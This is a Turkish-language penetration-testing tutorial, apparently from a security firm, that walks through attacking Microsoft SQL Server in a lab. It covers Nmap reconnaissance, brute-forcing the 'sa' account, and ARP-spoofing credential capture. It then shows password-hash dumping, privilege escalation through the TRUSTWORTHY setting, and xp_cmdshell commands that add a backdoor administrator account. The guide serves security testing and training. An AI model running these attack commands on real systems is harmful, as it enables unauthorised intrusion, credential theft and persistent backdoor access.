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1. GIRIS

Microsoft SQL Server, 1989 yilinda beri Microsoft firmasi tarafindan gelistirilen Windows
isletim sistemi (izerinde calisan iliskisel Veritabani Yénetim Sistemi (ing. Relational Database
Management System, Kis. RDMS)’dir. iliskisel veritabani yénetim sistemi olma 6zellige sahip
veritabanlarinda veriler satirlar ve stitunlar igeren tablolar halinde ve birbirleri arasinda iliski
olacak sekilde tutulur.

Microsoft SQL Server, DB-Engines (http.//db-engines.com/en/system/Microsoft+SQL+Server,
Subat 2015) verilerine gore Subat 2015 itibariyle diinya tzerinde en ¢ok kullanilan Gglinci
veritabanidir. Blylk kuiguk birgok kurum Microsoft SQL Server’i bilisim sistemlerinde
kullanmaktadir ve glivenlik testleri esnasinda sizma testi uzmanlarinin karsisina oldukca fazla
¢itkmaktadir.

Yazi kisaca Microsoft SQL Server bulunan bir ag icerisinde hedef veritabani lzerinde kesif
calismalari nasil yapilir, yetkili hesap bilgisi nasil ele gegirilir, ele gegirilen hesap ile diger
hesaplarin parola 6zetleri nasil ele gegirilir, yetkisiz hesap ile nasil hak yukseltilir ve ele
gecirilen hesap ile isletim sistemi nasil ele gegirilir sorularina cevap verecek sekilde ve bu
konuda fikir vermesi amaciyla hazirlanmistir.
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2. MICROSOFT SQL SERVER GUVENLIK TESTi CALISMALARI

Guvenlik ve sizma testleri icin test ortaminda hedef isletim sistemi olarak Microsoft Windows
Server 2008 R2 64-Bit ve Uzerinde Microsoft SQL Server 2012 Express 64-Bit kullaniimistir.
Hedef isletim sistemine baglanti kuran kurban igcin Windows 7 Home Premium 64-Bit isletim
sistemi kullaniimistir.

Testler esnasinda kullanilan araglarin bulundugu isletim sistemi olarak Kali Linux 1.1.0 64-Bit
kullanilmistir. Hedef Microsoft SQL Server testler esnasinda “Local System” haklariyla
cahistirilmistir ve Kali Linux Gzerinde Nmap ve Metasploit araglari kullaniimistir. Asagida test
ortaminin semasi verilmistir.

WINDOWS SERVER 2008 R2
192.168.48.130

¥
&

MICROSOFT SQL SERVER
2012

SALDIRGAN
192.168.48.128

-
J

KURBAN
192.168.48.131

Sekil 1- Test Ortami
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3. KESIF CALISMALARI

Bilgi toplama glivenlik testleri esnasinda ilk ve en onemli bélimi olusturmaktadir. Yazi
icerisinde Microsoft SQL Server ag icerisinde tespit calismalari icin Nmap ve scriptleri ayrica
Metasploit moddlleri kullaniimistir. Kesif calismalarinda hedef Microsoft SQL Server’in
versiyonu, Instance Name degeri vb. bilgiler elde edilmeye calisiimistir.

BGA Bilgi Guvenligi Limited Sirketi | www.bga.com.tr



MICROSOFT SQL SERVER SIZMA VE GUVENLIK TESTi CALISMALARI 4

3.1. AG iCERISINDE MICROSOFT SQL SERVER TESPITi

Microsoft SQL Server varsayillan olarak 1433 numarali port Uzerinde c¢alisir. Ancak
sistem/veritabani yoneticileri gerek glivenlik gerek baska nedenlerden Microsoft SQL Server’i
baska portlar Gzerinde de ¢alistirabilir. Bu ylizden sizma testleri esnasinda mimkiin mertebe
tam port taramasinin yapilmasi tavsiye edilir.

Ag icerisinde bulunan Microsoft SQL Server’i tespit etmek icin Nmap araci kullanilabilir. Test
ortaminda Microsoft SQL Server varsayilan portu numarasi olan 1443 (zerinde calisacak
sekilde konumlandiriimistir.

Test ortaminda asagidaki komut kullanilarak ag icerisinde Microsoft SQL Server tespit
edilmeye calisiimistir.

$ nmap -n <HEDEF IP> -p 1433

Yukaridaki komut calistirildiginda asagidaki ¢ikti alinmistir.

Nmap scan report for 192.168.48.130
Host is up (0.00099s latency).

PORT STATE SERVICE

1433/tcp open ms-sql-s

Komut ¢iktisindan da anlasilabilecegi lizere hedef port lizerinde “ms-sql-s” isimli bir servis
calismaktadir. Hedef port Gzerinde c¢alisan servis bilgisini daha kesin hale getirmek icin Nmap
tarama koduna “-sV” parametresi eklenirse, servise Ucli el sikismasi (three way handshake)
adi verilen sekilde baglanti saglanir. Boylece hedef port lizerinde ¢alisan servis hakkinda daha
detayli ve kesin bilgi alinabilir.

Nmap scan report for 192.168.48.130
Host is up (0.00040s latency).

PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2012

Yukaridaki Nmap tarama ¢iktisindan da anlasilabilecegi Gizere hedef sistemde 1433 numarali
port Uzerinde “Microsoft SQL Server 2008 R2” ¢alismaktadir.
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3.2. MICROSOFT SQL SERVER HAKKINDA BiLGi TOPLAMA

Ag icerisinde Microsoft SQL Server tespit edildikten sonra servis hakkinda daha detayli bilgi
elde etmek icin Nmap yazilimi icerisinde konu ile ilgili script bulunmaktadir. Nmap igerisinde
bulunan “ms-sql-info” isimli script, hedef Microsoft SQL Server hakkinda detayl bilgi
toplamaktadir. Scripti kullanarak hedef hakkinda bilgi almak igin asagidaki komut kullanilabilir.

Yukaridaki komut calistirildiginda asagidaki ekran goriintisindeki gibi bir ¢ikti alinir.

Host script results:

| ms-sql-info:

| Windows server name: BGAWINLAB
| [192.168.48.130450LEXPRESS]
I

I

I

I

I

I

I

I

I

Instance name: SOLEXPRESS
Version: Microsoft SOL Server 2012 RTM
Version number: 11.00.2100.00
Product: Microsoft SOL Server 2812
Service pack lewvel: RTM
Post-SP patches applied: No
TCP port: 1433
Named pipe: 4,192.168.48.130%pipe\M350L3SOLEXPRESS\sqlhquery
Clustered: Mo

Sekil 2 - Nmap ile Bilgi Toplama

GCiktidan da anlasilabilecegi lizere s6z konusu script kullanilarak hedef Microsoft SQL Server
hakkinda bir ¢ok bilgi (Instance Name degeri ve versiyon bilgisi) elde edilebilir. Ornegin,
versiyon bilgisinin tam olarak alinabilmesi ¢ikmis olan zafiyetlerden hangileri tarafindan
sistemin etkilendigi konusunda yardimci olacaktir.

Ayni sekilde Metasploit icerisinde bulunan “mssql_ping” isimli modul de Microsoft SQL Server
hakkinda bilgi toplamak igin kullanilabilir. Modl ayarlari igerisine kullanici adi ve sifre bilgisi
degerleri de girilebilir ancak zorunlu degerler degillerdir. Sadece hedef IP adresi ve port
numarasi verilerek modl calistirilabilir. Hedef Microsoft SQL Server hakkinda bilgi toplamak
icin test ortaminda ilgili modul calistirilmis ve Nmap scriptinin sonuglarina benzer sonuglar
alinmistir. Asagida modiil ciktisinin ekran gorintiisa verilmistir.
1 s0L Server information for 192.168.48.130;

Serveriame BGAWINLAB

InstanceName SOLEXPRESS

IsClustered Mo

Version 11.0.2100,60

tcp

np

N\ BGAWINLABRY, pipetMSS0LSSOLEXPRESS sl query
] Scanned 1 of 1 hosts (100% complete)
| Auxiliary module execution completed

Sekil 3- MSSQL-PING Modiilii
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4. SIZMA GIRiSIMLERI

Ag icerisinde Microsoft SQL Server tespit edilip hakkinda bilgi toplandiktan sonra test
ortaminda sizma girisimlerinin ilk adimi olan hesap ele gegirme anlatiimistir. Hesap ele
gecirme konusunda kaba kuvvet saldirisi ve Man In The Middle saldirisi gergeklestirilmis ve
hedef lzerinde yetkili hesap ele gecirilmistir. Kaba kuvvet saldirisi esnasinda Nmap scripti ve
Metasploit modull kullaniimistir.

Hesap bilgisi ele gegirildikten sonra hedefteki diger hesaplarin parola 6zetleri ele gegirilmistir.
Ele gegirilen hesap bilgisi ile hedef hakkinda daha detayl bilgi toplanmistir.

BGA Bilgi Guvenligi Limited Sirketi | www.bga.com.tr
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4.1. KABA KUVVET SALDIRILARI iLE HESAP ELE GECIRME

Microsoft SQL Server’a kaba kuvvet saldirilari ¢esitli araclar ile yapilabilir test ortami icerisinde
konu ile ilgili olan Nmap yaziliminin scripti ve Metasploit modull kullaniimistir. Hedef hesap
bilgisi olarak varsayilan olarak kurulumda gelen ve yetkili kullanici olan “sa” kullanicisina
yonelik kaba kuvvet saldirilari gergeklestirilmistir.

4.1.1. NMAP SCRIPTI iLE KABA KUVVET SALDIRILARI

Microsoft SQL Server’a Nmap araci icerisinde bulunan “ms-sql-brute” scripti ile kaba kuvvet
saldirilari yapilabilir. Bunun igin hedef lGizerindeki muhtemel kullanici adlarini ve sifreleri iceren
kelime listesine sahip olmaniz gerekmektedir. Hedef lizerinde denenecek hesap bilgilerini
iceren kelime listeleri hazirlandiktan sonra asagidaki komut kullanilarak Nmap igerisinde
bulunan s6z konusu script galistirilabilir.

$ nmap -p <PORT> --script ms-sql-brute --script-args

mssql.instance-all,userdb=wordlist.txt,passdb=wordlist.txt <HEDEF
IP>

Yukaridaki komut calistirildiginda Nmap yaziliminda bulunan script hedef sisteme baglanip
verilen hesap bilgilerini deneyecektir. Basarilh bir sekilde sonuglanan saldiri sonrasinda
asagidaki ekran goruintisi oldugu gibi bir cikti alinir.

Nmap scan report for 192.
Host is wp (0.00812s lat
PORT STATE SERVICE
- c 1 m 5
© 00:0C:29:04:BD:BB (VMware)

pt results:
|:- - o

Sekil 4 - Nmap ile Kaba Kuvvet Saldirisi

Ciktidan da goriilebilecegi lizere hedef sistem Uzerindeki Microsoft SQL Serverda bulunan “sa”
kullanici adinin sifresi “BGA-123" olarak tespit edilmistir.
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4.1.2. METASPLOIT MODULU iLE KABA KUVVET SALDIRILARI

Metasploit icerisinde konu ile ilgili kullanilacak olan modil “mssql_login”’dir. Bu modul Nmap
aracinda bulunan scriptten daha fazla ayar yapilmasina olanak saglar boylece daha etkin
saldirilar yapilabilir.

Metasploit Uzerinde modil aktif edilip “show options” komutu calistirildiginda, modul
tarafindan istenen ayarlar listelenir. Test ortami icerisinde ayar degerlerinden olan RHOSTS,
RPORT, USERNAME, PASS_FILE degerleri tGzerinde degisiklikler yapilarak modul kullaniimistir.

o" ”

Bu ayarlara sirasiyla hedef IP adresi, Microsoft SQL Server’in galigtigi port numarasi, “sa

kullanici adi ve olasi sifreleri iceren kelime listesi degerleri girilmistir.

Modiile istenirse sadece bir kullanici adi veya sifre denemesi icin tanimlanabilecegi gibi hem
kullanici adi icin hem de sifre icin kelime listeleri tanimlanabilir. Tek bir kullanici adi i¢in
USERNAME degeri, tek bir parola degeri icin PASSWORD degeri kullanilir. Kullanici adlari igin
kelime listesi tanimlanacak ise USER_FILE degeri, parolalari iceren kelime listesi tanimlanacak
ise PASS_FILE degeri kullanihr.

Modyiillin ayarlarindan olan BLANK_PASSWORDS degerinin “false” olmasina dikkat edilmelidir.
Zaten bu deger varsayilan olarak gelmektedir. Degerin “false” olarak kalmasi, modilin
deneyecegi kullanici adlari igin bos parola denemesi yapmayacagi anlamina gelmektedir.

BRUTEFORCE_SPEED ayari ise O ile 5 arasinda degerler almaktadir ve denemelerin hizini
belirtir. Disuk hizda yapilacak denemeler genellikle daha iyi sonuglanmaktadir. Hizh yapilacak
olan denemeler hesap kilitleme politikasina takilma ihtimalini de hizlandirir.

STOP_ON_SUCCESS ayari, denemelerden birisi basarili oldugu zaman siradaki denemelerin
yapilip yapilmamasi ile ilgili olan ayardir. Bu ayarin “true” olarak degistirilmesi sizma testleri
esnasinda yarar saglayacaktir. Boylelikle ilk basarih denemede modiil duracak ve kalan
denemeleri gerceklestirmeyecektir.

Gerekli ayarlar yapildiktan sonra moduil ¢alistirilir. Basarili bir sekilde sonuglanan saldiriya ait
ciktilar asagida verilen ekran gortintistindeki gibi olacaktir.

BGA Bilgi Guvenligi Limited Sirketi | www.bga.com.tr
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File Edit

msf auxiliary(

192,
192. 4
2.168.48
168.48
168 .48.
.48,
4
4
4
4

19

192 .
192,
192,
192,
192 .
192,
192,
192,
1 Scanned

msf au xiliaryl

168,48
168.48

168
168.48
168.438
168,48
168.48
168

View

.48

L1368

Search  Terminal

) = exploit

Help

ro

- MS50L - Starting authentication scanner.

MS50L -
MS50L
MS50L
MS50L
MS50L
MS50L
MS50L
MS50L
MS50L -
1433 - LOGIN

1 of 1 hosts (100%
1 Auxiliary module F‘#E--Utlclrl completed

LOGIN
LOGIN
LOGIN
LOGIN
LOGIN
LOGIN
LOGIN
LOGIN
LOGIN

SUCCES
complete)

FATILED:
FATLED:
FATILED:
FATILED:
FATILED:
FATLED:
FATILED:
FATILED:
FATILED:
WORKSTATIONYsa:

SFUL:

WORKSTATION
WORKSTATION
WORKSTATION
WORKSTATION
WORKSTATION
WORKSTATION
WORKSTATION
WORKSTATION
WORKSTATION

Sekil 5 - Basarili Kaba Kuvvet Saldirisi

root IIr|- orrect:

-admin IIn- orr 't
sAdmin (Incor

»12345 IIr|- ar

:Bgal (
'BGALZ3 I_In-_curre-_t:
1123456 (Incorre ]
:Bga- lz-. (Incorrect: )

BGA-123

Modiil giktisindan da gorilebilecegi Gzere hedef sistem Ulzerindeki Microsoft SQL Serverda
” kullanici adinin sifresi “BGA-123” olarak tespit edilmistir.

bulunan “
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4.2. MAN IN THE MIDDLE SALDIRISI iLE HESAP ELE GECIRME

Ortadaki adam saldirisi ile ag igerisinde bulunan Microsoft SQL Server’a ait giris bilgileri elde
edilebilir. Metasploit moddll kullanilarak gergeklestirilen bu saldiri tiiriinde hedefe sahte bir
Microsoft SQL Server hizmeti verilir ve bu sekilde hedefin hesap bilgi elde edilmeye ¢alisilir.

Saldiriya baslamadan 6nce isletim sistemi Gzerinde IP Forwarding (IP Yonlendirme) aktif hale
getirilmesi gerekmektedir. Asagidaki komut ile bu islem kolayca yapilabilir.

$ echo 1 > /proc/sys/net/ipv4/ip_forward

IP Forwarding aktif hale getirildikten sonra Kali Linux Uzerinde kurulum ile beraber gelen
“arpspoof” araci kullanilarak hedef ile sunucu arasina girilmistir. Bunun ic¢in asagidaki
komutlar kullanilabilir.

$ arpspoof -i eth@ -t <SQL SERVER IP> <KURBAN IP>

$ arpspoof -i etho® -t <KURBAN IP> <SQL SERVER IP>

Yukaridaki komutlari ¢alistirdiktan sonra Metasploit Gzerinde ilgili modulin ayarlarinin yapilip
calistirlmasi gerekir. Bunun icin asagida verilen komut kullanilarak ilgili modil aktif hale
getirilir ve devaminda “SRVPORT” degerine port numarasi girilir. Son olarak modiil aktif hale
getirilir.

$ use auxiliary/server/capture/mssql

$ set SRVPORT 1433

BGA Bilgi Giivenligi Limited Sirketi | www.bga.com.tr
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msf > use auxiliary rver/capture/mssql
v options

Module options (auxiliary/server/capture/mssql)
Name Current Setting Required Description
CAINPWFILE The local filename to store the hashes in Cain&fbel format
CHALLENGE  1122334455667788 vyes The 8 byte challenge
JOHNPWFILE no The pri to the local filename to store the hashes in JOHN format

SRWHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 1433 yes The local port to listen on.

Auxiliary action:

Name Description

Capture

Sekil 6 - Modiil Ayarlari ve Calistiriimasi

Son olarak iptables kullanilarak NAT kurali girilmistir. Girilen kural, 1433 numarali port
Uzerinde calisan gercek Microsoft SQL Server hizmetine ulasmak isteyen trafigi saldirgan
bilgisayarda ¢alisan sahte Microsoft SQL Server hizmetine yonlendirir. Bunun igin asagidaki
komut kullaniimistir.

Buraya kadar olan islemler 6zetlenirse, ARP Spoofing kullanilarak kurban ile hedef sunucu
arasina girilmistir ve kurban hesap bilgisini girdiginde sahte Microsoft SQL Server hizmetine
yonlenecek ve saldirgan hesap bilgilerini yakalamis olacaktir. Kurban ise baglanti hatasi
icerigine sahip bir ekran ile karsilasacaktir. Asagida durumu 6zetleyen ag semasi verilmistir.

BGA Bilgi Guvenligi Limited Sirketi | www.bga.com.tr
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WINDOWS SERVER 2008 R2
192.168.48.130

)

H =t

MICROSOFT SQL SERVER
2012

SALDIRGAN
192.168.48.128

KURBAN
192.168.48.131

Sekil 7- MITM Saldirisi Gergeklestirilmis Ag Semasi

Kurban hesap bilgilerini girdiginde modul hesap bilgilerini yakalayip saldirgana verecektir.
Asagidaki ekran goriintislinde basariyla elde edilmis hesap bilgisi gorilmektedir.

} = run
module execution completed

f auxilia vl ) =
| Listening on 0.0.0.0:1433...

1 Server started.

fcapture/msspleismsddddesalling the
31:64978 53 / BGA-123

Sekil 8 - Hesap Bilgisinin Ele Gegirilmesi

Kurban dogru hesap bilgisini girmesine ragmen sirekli baglanti hatasi ile karsilasacaktir.
Asagida kurbanin aldigi ilgili hatanin ekran goriintiisi verilmistir.

BGA Bilgi Guvenligi Limited Sirketi | www.bga.com.tr
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E l Connect to Server

Microsoft*
ﬁ} SQL Server2012

®| Cannot connect to 192, 168.48,130,

&  additional information:
iy Login failed for user 'sa’. (Microsoft SQL Server, Error: 18458)

[~ Remember password

Connect | Cancel I Help Options = |

Sekil 9 - Kurbanin Aldig1 Hata

BGA Bilgi Guvenligi Limited Sirketi | www.bga.com.tr
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4.3. ELE GECIRILEN HESAP iLE HEDEF HAKKINDA BiLGi TOPLAMA

Microsoft SQL Server lizerinde hesap bilgisi elde edildikten sonra hedef hakkinda daha detayh
bilgi toplanmasinin gerektigi durumlar olabilir. Bunun icin Metasploit Gzerinde bulunan
“mssql_enum” isimli modil kullanilabilir. Modiile verilecek olan hesap bilgisinin yetkisi ile elde
edilebilecek olan tiim bilgiler cekilebilir. Asagidaki komut ile s6z konusu modil aktif hale
getirilebilir.

Modile “USERNAME”, “PASSWORD”, “RHOST” ve “PORT” bilgisi verilip ¢calistirildiginda hedef
sistem hakkinda elde edilebilecek bilgileri toplayip vermektedir. Bu bilgiler arasinda Microsoft
SQL Server’in yapilandirma 6zellikleri, hesap bilgileri ve durumlari, hesap politikasi durumu ve
bircok bilgi yer almaktadir. Ornegin hedef lizerinde xp_cmdshell’in aktif olmadigi modiil
tarafindan tespit edilmistir. Asagidaki ekran goérintlsi ile test ortaminda hedef hakkinda
toplanan bilginin bir kismi verilmistir.

Running MS SOL Server Enumeration...
Version:
Microsoft SOQL Server 2012 - 11.0.2100.60 (X64)
Feb 10 2012 19:39:15
Copyright (c) Microsoft Corporation
Express Edition (64-bit) on Windows NT 6.1 <X64= (Build 7601: Service Pack 1) [Hypervisor)
Configuration Parameters:
C2 Audit Mode is Mot Enabled
xp_cmdshell is Mot Enabled
remote access is Enabled
allow updates is Mot Enabled
Database Mail XPs is Not Enabled
Ole Automation Procedures are Not Enabled
Databases on the server:
Database name:master
Database Files for master:
rogram Files\Microsoft SQL Server\MSSQL11.SOLEXPRESSY \OATA\master.mdf
¢ rogram Files\Microsoft SOL . SOLEXPRES SOL\DATA\mastlog. 1df
abase name:tempdb
ase Files for tempdb:
rogram Files\Mi oft SOL S > . SOLEXPRESSY \DATAY tempdb . md f
rogram Files soft S0L Server\MSSQL11. XPR \ “WOATANtemplog. 1df
ase name:model
se Files for model:
\Program Files\Microsoft SQL Server\MSSOL11. X \MSSOLYDATANmodel .mdf
rogram Files\Microsoft S0L Server\MSSOL1L.SOLEXPR SSQLYDATA\modellog. 1df
Database name:msdb
Database Files for msdb:
rogram Files oft S0L Server\MSSQL11.SQLEXPRESSYWM \OATANMSDBData.mdf
JProgram Files, s0ft S0L Server\MSSOL1L.SOLEX \M “DATANMSDBLog. 1df

Sekil 10 - Hedef Bilgisi
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4.4. HEDEFTE BULUNAN DIiGER HESAPLARI ELE GECIRME

Test ortaminda kaba kuvvet saldirisi ve MITM saldirisi ile test ortaminda “sa” yetkili hesabi ele
gecirilmisti. Ele gecirilen bu hesap ile hedefte bulunan diger hesaplari ele gegirmede kullanmak
Uzere parola Ozetleri ele gegcirilebilir. Bunun igin Metasploit modillerinden biri olan
“mssql_hashdump” kullanilabilir. Moduli aktif hale getirmek igin asagida komut kullanilabilir
ve ardindan hedef IP adresi, port numarasi, kullanici adi ve sifre bilgisi verilir. Modul
calistirildiktan sonra hedef Uzerindeki hesaplarin kullanici adlarini ve parola 6zetlerini
getirecektir.

Test ortaminda modiil calistiriimis ve hedefteki hesaplarin parola 6zetlerini getirmistir, asagida

ekran gorintisi bulunmaktadir.

Sekil 11 - Hesaplarin Parola Ozetleri

Elde edilen parola 6zetleri gesitli parola kirma yazilimlari aracihgiyla kirilabilir ve parolalara
ulasilabilir.

BGA Bilgi Guvenligi Limited Sirketi | www.bga.com.tr



MICROSOFT SQL SERVER SIZMA VE GUVENLIK TESTi CALISMALARI 16

4.5. TRUSTWORTHY OZELLiIGiNiN iSTISMARI iLE HAK YUKSELTME

Microsoft SQL Server, veritabani yoOneticilerinin veritabanlarini “trustworthy” olarak
belirlemelerine izin verir. Trustworthy 6zelligi varsayilan olarak kapal olarak gelir ancak
gelistiriciler tarafindan veritabanlari (izerinde aktif edildigi durumlar olabilir. Trustworthy
Ozelligine sahip veritabanlari kisaca ag paylasimlari, e-posta servisleri ve diger
veritabanlarindaki nesneler gibi harici kaynaklara erisebilir. Bu durum her zaman koéti olmasa
da sistem yoneticilerinin s6z konusu 0Ozellikte veritabanlari olusturup veritabani sahipligini
duslik yetkili bir kullaniciya vermedigi zamanlarda dikkate deger bir risk olusturabilir.

Ornegin bir veritabaninin sahibi yiiksek yetkili olsun ve bu veritabani ayni zamanda bir web
uygulamasi tarafindan kullaniliyor olsun. Web uygulamasinin hesap yetkisi normalde distk
seviyede ancak s6z konusu veritabani Gzerinde tam yetkiye (db_owner) sahip. Eger s6z konusu
veritabani Trustworthy olarak belirlenmis ise web uygulamasinin kullandigl hesap Uzerinde
hak ylikseltme yapilabilir. Yani web uygulamasinin kullanmis oldugu hesap “sysadmin”
yetkilerine gikarilabilir.

Bunun igin test ortaminda “APPLICATIONS” isimli bir veritabani olusturulmustur ve
“appadmin” kullanicisi s6z konusu veritabaninda “db_owner” haklarina atanmistir. Oncesinde
“appadmin” kullanicisi distuk haklara sahiptir. Asagidaki ekran gorintisinde “appadmin”
kullanicisinin haklarini gésteren ekran gorintisi verilmistir.

-0/
Selecta ;S Secript ~ L’j Help

&0 General

= Server role is used to grant server-wide security privileges to a user.
1221 User Mapping

%A Securables
A Status

Server roles:
[[] bullkcadmin
[ dbcreator
[ diskadmin
[[] processadmin
[ public
[[] securityadmin
[ serveradmin
[[] setupadmin
[] sysadmin

Server:

BGAWINLAB\SQLEXFRESS

Connection:

sa

3¢ View connection properties

Ready

Sekil 12 - Kullanicinin Haklari
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Asagidaki ekran goriintiisiinde de s6z konusu kullanicinin veritabani Gzerindeki haklari

gosterilmistir.

_ix]
Selectapage 8 Serpt = [ Help
15 General
15 Server Roles ST
[ [User Méapping |Users mapped to this login:
127 Securables Map I Database I User I Default Schema
_&F Status v appDb appadmin db_owner _I
[ | APPLICATIONS  appadmin dho L
Il master
Il model
Il msdb
Il tempdhb
[T Guest account eqabled for: APFLIEATIONS
Database role membership for; APPLICATIONS
[] db_accessadmin
Server- [ db_backupoperator
BGAWINLAB\SQLEXPRESS O db_datareader
[ db_datawriter
Connection: [] db_ddladmin
53 [] db_denydatareader
_i:ﬂ View connection properties [ db_denydatawriter
[w] db_owner
[ db_securtyadmin
vl public
Ready

ok | Cancel |

4

Sekil 13 - Kullanicinin Veritabani Haklari

Test ortaminda Metasploit izerinde “mssql_escalate_dbowner” modili kullanilarak s6z
konusu kullanicinin  haklari  “sysadmin” seviyesine c¢ikartilmistir. Modile “appdmin”
kullanicisinin  bilgileri verilmistir ve c¢alistinlmistir. Asagidaki ekran goriintisiinde de
gorilebilecegi Gzere s6z konusu kullanicinin haklari basariyla yukseltilmistir.
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msf auxiliary( } = show options
Module options (auxiliary/admin/mssql/mssql_escalate dbowner):

Description

Name Current Setting Required

PASSWORD Appl N The
RHOST 192.168.48.130 yes The
RPORT 1433 y The
USERNAME ENJEL Y L The
USE WINDOWS AUTHENT false yes Use w
msf auxiliary( ) > exploit
| Attempting to connect to the database server at 192.168.48.130:1433 as appadmin...
C cted.
n role. ..
that
dmins. ..

APPLICATIONS
ing if the user has the db_owner role in any of them...
owner on APPLICATIONS found!

| Attempting to escalate in APPLICATIONS!
| APPLICATIONS
C 5, appadmin is now a sysadmin!.

1 Auxiliary module execution completed

Sekil 14 - Hak Yiikseltme islemi

Ayni sekilde Microsoft SQL Server lizerinde de s6z konusu hesabin yetkileri kontrol edildiginde

hesabin haklarinin yikseltildigi gérilebilmektedir.

=10) x|
E ___I_'S,' Seript = |3 Help
|2 General
[y Server role is used to grant server-wide securty privileges to a user.
1% User Mapping
& Securables
L= Status Server roles:
[] bulkadmin
[] dbcreator
[] diskadmin
[[] processadmin
[w] public
[ securtyadmin
[ serveradmin
[ setupadmin
[v] sysadmin
Server:
BGAWINLAB\SGLEXPRESS
Connection:
sa
37 Miew connection properties
Ready
ok | cancel |
A

Sekil 15 - Hak Yiikseltmenin Teyidi
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5. POST EXPLOITATION

Hesap bilgileri ele gecirildikten sonra Microsoft SQL Server’in galistigl isletim sistemi ele
gecirilebilir. Bunun icin ele gecirilen hesap lzerinden xp_cmdshell ile hedef sisteme kullanici
eklenmis ve uzak masalsti baglantisi yapilmistir. Bir diger yontem olarak hedef igletim
sistemine zararl yazilim bulastiriimis ve isletim sistemi ele gegirilmistir.

Ayrica hedef isletim sistemi lizerinde ele gecirilen hesabin yetkisiz bir kullanici hesabi olmasi
durumunda nasil hak yukseltilir test edilmistir. Bunun igin Metasploit moduli kullaniimigtir.
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5.1. XP_CMDSHELL KULLANARAK HEDEF SISTEMi ELE GEGCIRME

Veritabani yoneticileri sistem lzerinde komut calistirip, islem yapmalari gerektigi durumlar
olabilir. Bu durumda xp_cmdshell yormadi veritabani yoneticilerinin yardima kosmaktadir.
xp_cmdshell kullanilarak Microsoft SQL Server’in ¢alisma haklari yetkisinde ardindan komut
calistiracak hesabin vyetkisi cercevesinde sistem (izerinde komut calistirilabilir. Ornegin
Microsoft SQL Server sistem icinde “Network Service” olarak calisiyor ve sizde Microsoft SQL
Server Ulzerinde “sysadmin” vyetkisine sahip bir hesabi yodnetiyorsunuz. Bu durumda
xp_cmdshell kullanarak sisteme kullanici ekleyemeyebilirsiniz ¢linkii Network Service yetkileri
icerisinde bu bulunmayabilir.

Test ortami icerisinde sizilmis olan Microsoft SQL Server’da xp_cmdshell kullanilarak hedef
isletim sistemine kullanici eklenmis ardindan eklenen kullanici Administrators grubuna
eklenmis ve hedefe eklenen kullanici hesabi ile Uzak Masadstli Baglantisi gerceklestirilmistir.

Bunun icin Metasploit tizerinde kullanilacak olan modiil, “mssql_exec” asagidaki komut ile
aktif edilir.

$ use auxiliary/admin/mssql/mssql_exec

Modil aktif edildikten sonra hedef IP adresi, port numarasi, kullanici adi ve sifre bilgisi
girildikten sonra “CMD” parametresine hedef Uzerinde ¢alistirilmasi istenen komut girilir.
Asagida ekran goriintiist bulunan giktida komut olarak “ipconfig” calistiriimistir.
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he server may have xp cmdshell disabled, trying to enable it...
0L Query: EXEC master..xp cmdshell 'ipconfig'

output
Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . : localdomain
Link-local IPv6 Address . . . . . : fe80::e8cB:35c3:3

IPv4 Address. . . . e v« .« . . 192.168.48.
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . :

Tunnel adapter isatap.localdomain:

Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . : localdomain

Tunnel adapter Local Area Connection* 9:
Media State . . . .o . . . ! Media disconnected

Connection-specific DNS Suffix

[*] Auxiliary module execution completed

Sekil 16 - Komut Ciktisi

Ciktida dikkat edilmesi gereken noktalardan biri “The server may have xp_cmdshell disabled,
trying to enable it...” satiridir. Yukarida hedef lizerinde hesap bilgisi elde edildikten sonra bilgi
toplama asamasinda, hedef lzerinde xp_cmdshell’in aktif olmadigi tespit edilmis ve
belirtilmisti. Modiil hedef Uzerinde xp_cmdshell’i aktif edip ardindan verilen komutu
cahistiracaktir.

{

Test icin “ipconfig” komutu basariyla calistiktan sonra hedefe asagidaki komut kullanilarak
kullanici eklenmis ve devamindaki komut kullanilarak eklenen kullanici Administrator grubuna

eklenmistir.

Burada dikkat edilmesi gereken bir diger husus olusturulan hesabin sifresinin hedef isletim
sistemi politikasina uygun olmasi gerekliligidir. Eger hedef isletim sistemi sifre politikasina
uymayan bir kullanici adi ve sifre ile hesap eklemeye galisilirsa hata alinir.

Yukaridaki komutlar basariyla hedef sistem Uzerinde c¢alistiriimistir ve ilgili ekran gorintisu
asagida verilmistir.
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st auxiliary( ) = set (MD net user BGATest Testl23 /add
== net user BGATest Testl123 /fadd
msf auxiliaryl( ) = exploit

1 SOL Query: EXEC master..xp cmdshell 'net user BGATest Test123 /fadd'

output

The command completed successfully.

#] Auxiliary module execution completed

T auxiliary( ) = set CMD net localgroup Administrators BGATest /add
(MD => net localgroup Administrators BGATest /add
msf auxiliaryl( ) = exploit

I SOL Query: EXEC master..xp cmdshell 'net localgroup Administrators BGATest /add'

output

The command completed successfully.

[*] Auxiliary module execution completed
mst auxiliary( )z

Sekil 17 - Komutlarin Basarili Olarak Calismasi

Asagidaki ekran gorintisu hedef bilgisayardan alinmistir ve komutlarin basariyla calistigi teyit

edilmistir.
42, Manage Accounts - 0] x|
|gg\. |L'r!J » Control Panel - User Accounts ~ User Accounts » Manage Accounts - lmll Search Control Panel L'L.]J

Choose the account you would like to change

!
Administrator BGATest
Administrator e ‘ Administrator
Password protected \l_) ! Password protected

) | Guest
J“}n Guest account is off

Sekil 18 - Eklenen Hesap

Komutlar basariyla calistiktan sonra hedef sisteme uzak masaustii baglantisi yapiimistir ve ilgili
ekran gorintlisi asagida verilmistir.
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tial Configuration Tasks

Ferform the following tasks to configure this server

rdesktop - 192.168.48.130 - | x

:3 Windows Server 200812
Standarnd

Carnmand Prarmpt

—
“’J Motepad

-

h] Specifying computer infarmation

Mot activated

fg Internet Explorer BGATest [UTC-02:00] Pacific Time (U5 & Canada)
L
Documents P44 address assigned by DHCF, IPYE enabled
Computer BGAWIMLAER
WORKGROUP
Metwork

u] Updating pour Windows server

Control Panel

Mot configured

“Windaws Error Reporting off
Mat participating in Customer Expenence Impravement Progranm

Devices and Prinkers

Administrative Tools 3
Mewer
Help and Suppott Hever
Run... 5 .
h] Cuztomizing wour server
» &l Programs Windows Security e e -

B _tosoft || oo |

. 7:12 A
A T 2iz6j2015 =

I |Search programs and files

Sekil 19 - Uzak Masaiistii Baglantisi
